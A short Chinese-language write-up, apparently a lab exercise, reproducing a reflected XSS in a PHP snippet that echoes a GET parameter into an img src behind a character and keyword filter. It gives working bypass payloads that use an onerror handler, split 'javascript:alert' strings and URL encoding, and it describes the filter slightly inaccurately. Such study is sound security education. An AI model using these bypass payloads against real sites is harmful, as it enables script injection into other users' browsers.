GET传递的参数直接输出在src中会存在反射型xss漏洞,本次复现的目的是利用url编码规则构造url绕过xss限制。
UrlEncode编码规则:将需要转码的字符的ASCII码值转为16进制,然后从右到左,取4位(不足4位直接处理),每2位做一位,前面加上%,编码成%XY格式。
源代码:
<?php
header('X-SS-Protection:0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\\","<",">","'"),'',$xss);
if (preg_match('/(script|document|cookie|eval|setTimeout|alert)/',$xss)){
exit('bad');
}
echo "<img src=\"{$xss}\">"
?>
通过分析源代码可知屏幕上打印图片路径来自于GET传递的参数,同时会将接收到参数中的()$<>'等字符均会被替换为空格。<>被过滤,闭合标签写入新标签不可行;&被过滤,对script、alert的关键字限制使用,&#的HTML实体编码不可行,因此使用url编码。
其次是关键词检测,可以将语句拆分成多个不含敏感词的子串传入,再通过location进行连接。
实现:
img标签的注入有很多方式,这里我是用onerror。
首次注入:
xss=aa" οnerrοr=location="javas"+"cript:a"+"lert(1)
失败
进行URLCode转码
xss=aa" οnerrοr=location="javas"%2B"cript:a"%2B"lert%25281%2529
成功